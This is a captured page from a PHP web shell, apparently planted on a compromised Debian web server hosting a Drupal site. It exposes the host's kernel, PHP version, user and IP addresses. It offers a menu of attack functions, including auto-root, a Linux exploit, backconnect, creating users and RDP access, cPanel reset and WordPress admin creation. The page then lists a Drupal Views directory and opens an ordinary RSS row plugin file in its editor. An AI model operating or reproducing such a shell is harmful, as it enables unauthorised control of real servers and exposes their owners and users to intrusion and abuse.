Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.32.238
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
views /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
export_ui
[ DIR ]
drwxr-xr-x
views_wizard
[ DIR ]
drwxr-xr-x
views_plugin_access.inc
2.05
KB
-rw-r--r--
views_plugin_access_none.inc
295
B
-rw-r--r--
views_plugin_access_perm.inc
1.68
KB
-rw-r--r--
views_plugin_access_role.inc
1.84
KB
-rw-r--r--
views_plugin_argument_default....
2.59
KB
-rw-r--r--
views_plugin_argument_default_...
1
KB
-rw-r--r--
views_plugin_argument_default_...
1.81
KB
-rw-r--r--
views_plugin_argument_default_...
1.46
KB
-rw-r--r--
views_plugin_argument_validate...
2.82
KB
-rw-r--r--
views_plugin_argument_validate...
350
B
-rw-r--r--
views_plugin_argument_validate...
1.83
KB
-rw-r--r--
views_plugin_cache.inc
10.61
KB
-rw-r--r--
views_plugin_cache_none.inc
410
B
-rw-r--r--
views_plugin_cache_time.inc
3.66
KB
-rw-r--r--
views_plugin_display.inc
107.82
KB
-rw-r--r--
views_plugin_display_attachmen...
9.08
KB
-rw-r--r--
views_plugin_display_block.inc
7.77
KB
-rw-r--r--
views_plugin_display_default.i...
1.58
KB
-rw-r--r--
views_plugin_display_embed.inc
274
B
-rw-r--r--
views_plugin_display_extender....
1.29
KB
-rw-r--r--
views_plugin_display_feed.inc
6.96
KB
-rw-r--r--
views_plugin_display_page.inc
21.03
KB
-rw-r--r--
views_plugin_exposed_form.inc
11.39
KB
-rw-r--r--
views_plugin_exposed_form_basi...
260
B
-rw-r--r--
views_plugin_exposed_form_inpu...
3.09
KB
-rw-r--r--
views_plugin_localization.inc
4.68
KB
-rw-r--r--
views_plugin_localization_core...
2.74
KB
-rw-r--r--
views_plugin_localization_none...
607
B
-rw-r--r--
views_plugin_pager.inc
5.15
KB
-rw-r--r--
views_plugin_pager_full.inc
15.51
KB
-rw-r--r--
views_plugin_pager_mini.inc
2.11
KB
-rw-r--r--
views_plugin_pager_none.inc
1.77
KB
-rw-r--r--
views_plugin_pager_some.inc
1.84
KB
-rw-r--r--
views_plugin_query.inc
4.26
KB
-rw-r--r--
views_plugin_query_default.inc
54.4
KB
-rw-r--r--
views_plugin_row.inc
4.37
KB
-rw-r--r--
views_plugin_row_fields.inc
3.12
KB
-rw-r--r--
views_plugin_row_rss_fields.in...
6.81
KB
-rw-r--r--
views_plugin_style.inc
19.4
KB
-rw-r--r--
views_plugin_style_default.inc
454
B
-rw-r--r--
views_plugin_style_grid.inc
2.37
KB
-rw-r--r--
views_plugin_style_jump_menu.i...
5.99
KB
-rw-r--r--
views_plugin_style_list.inc
1.4
KB
-rw-r--r--
views_plugin_style_mapping.inc
3.9
KB
-rw-r--r--
views_plugin_style_rss.inc
3.17
KB
-rw-r--r--
views_plugin_style_summary.inc
2.29
KB
-rw-r--r--
views_plugin_style_summary_jum...
5.09
KB
-rw-r--r--
views_plugin_style_summary_unf...
894
B
-rw-r--r--
views_plugin_style_table.inc
10.99
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : views_plugin_row_rss_fields.inc
<?php /** * @file * Contains an implementation of RSS items based on fields on a row plugin. */ /** * Renders an RSS item based on fields. */ class views_plugin_row_rss_fields extends views_plugin_row { function option_definition() { $options = parent::option_definition(); $options['title_field'] = array('default' => ''); $options['link_field'] = array('default' => ''); $options['description_field'] = array('default' => ''); $options['creator_field'] = array('default' => ''); $options['date_field'] = array('default' => ''); $options['guid_field_options']['guid_field'] = array('default' => ''); $options['guid_field_options']['guid_field_is_permalink'] = array('default' => TRUE, 'bool' => TRUE); return $options; } function options_form(&$form, &$form_state) { parent::options_form($form, $form_state); $initial_labels = array('' => t('- None -')); $view_fields_labels = $this->display->handler->get_field_labels(); $view_fields_labels = array_merge($initial_labels, $view_fields_labels); $form['title_field'] = array( '#type' => 'select', '#title' => t('Title field'), '#description' => t('The field that is going to be used as the RSS item title for each row.'), '#options' => $view_fields_labels, '#default_value' => $this->options['title_field'], '#required' => TRUE, ); $form['link_field'] = array( '#type' => 'select', '#title' => t('Link field'), '#description' => t('The field that is going to be used as the RSS item link for each row. This must be a drupal relative path.'), '#options' => $view_fields_labels, '#default_value' => $this->options['link_field'], '#required' => TRUE, ); $form['description_field'] = array( '#type' => 'select', '#title' => t('Description field'), '#description' => t('The field that is going to be used as the RSS item description for each row.'), '#options' => $view_fields_labels, '#default_value' => $this->options['description_field'], '#required' => TRUE, ); $form['creator_field'] = array( '#type' => 'select', '#title' => t('Creator field'), '#description' => t('The field that is going to be used as the RSS item creator for each row.'), '#options' => $view_fields_labels, '#default_value' => $this->options['creator_field'], '#required' => TRUE, ); $form['date_field'] = array( '#type' => 'select', '#title' => t('Publication date field'), '#description' => t('The field that is going to be used as the RSS item pubDate for each row. It needs to be in RFC 2822 format.'), '#options' => $view_fields_labels, '#default_value' => $this->options['date_field'], '#required' => TRUE, ); $form['guid_field_options'] = array( '#type' => 'fieldset', '#title' => t('GUID settings'), '#collapsible' => FALSE, '#collapsed' => FALSE, ); $form['guid_field_options']['guid_field'] = array( '#type' => 'select', '#title' => t('GUID field'), '#description' => t('The globally unique identifier of the RSS item.'), '#options' => $view_fields_labels, '#default_value' => $this->options['guid_field_options']['guid_field'], '#required' => TRUE, ); $form['guid_field_options']['guid_field_is_permalink'] = array( '#type' => 'checkbox', '#title' => t('GUID is permalink'), '#description' => t('The RSS item GUID is a permalink.'), '#default_value' => $this->options['guid_field_options']['guid_field_is_permalink'], ); } function validate() { $errors = parent::validate(); $required_options = array('title_field', 'link_field', 'description_field', 'creator_field', 'date_field'); foreach ($required_options as $required_option) { if (empty($this->options[$required_option])) { $errors[] = t('Row style plugin requires specifying which views fields to use for RSS item.'); break; } } // Once more for guid. if (empty($this->options['guid_field_options']['guid_field'])) { $errors[] = t('Row style plugin requires specifying which views fields to use for RSS item.'); } return $errors; } function render($row) { static $row_index; if (!isset($row_index)) { $row_index = 0; } if (function_exists('rdf_get_namespaces')) { // Merge RDF namespaces in the XML namespaces in case they are used // further in the RSS content. $xml_rdf_namespaces = array(); foreach (rdf_get_namespaces() as $prefix => $uri) { $xml_rdf_namespaces['xmlns:' . $prefix] = $uri; } $this->view->style_plugin->namespaces += $xml_rdf_namespaces; } // Create the RSS item object. $item = new stdClass(); $item->title = $this->get_field($row_index, $this->options['title_field']); $item->link = url($this->get_field($row_index, $this->options['link_field']), array('absolute' => TRUE)); $item->description = $this->get_field($row_index, $this->options['description_field']); $item->elements = array( array('key' => 'pubDate', 'value' => $this->get_field($row_index, $this->options['date_field'])), array( 'key' => 'dc:creator', 'value' => $this->get_field($row_index, $this->options['creator_field']), 'namespace' => array('xmlns:dc' => 'http://purl.org/dc/elements/1.1/'), ), ); $guid_is_permalink_string = 'false'; $item_guid = $this->get_field($row_index, $this->options['guid_field_options']['guid_field']); if ($this->options['guid_field_options']['guid_field_is_permalink']) { $guid_is_permalink_string = 'true'; $item_guid = url($item_guid, array('absolute' => TRUE)); } $item->elements[] = array( 'key' => 'guid', 'value' => $item_guid, 'attributes' => array('isPermaLink' => $guid_is_permalink_string), ); $row_index++; foreach ($item->elements as $element) { if (isset($element['namespace'])) { $this->view->style_plugin->namespaces = array_merge($this->view->style_plugin->namespaces, $element['namespace']); } } return theme($this->theme_functions(), array( 'view' => $this->view, 'options' => $this->options, 'row' => $item, 'field_alias' => isset($this->field_alias) ? $this->field_alias : '', )); } /** * Retrieves a views field value from the style plugin. * * @param $index * The index count of the row as expected by views_plugin_style::get_field(). * @param $field_id * The ID assigned to the required field in the display. */ function get_field($index, $field_id) { if (empty($this->view->style_plugin) || !is_object($this->view->style_plugin) || empty($field_id)) { return ''; } return $this->view->style_plugin->get_field($index, $field_id); } }
Close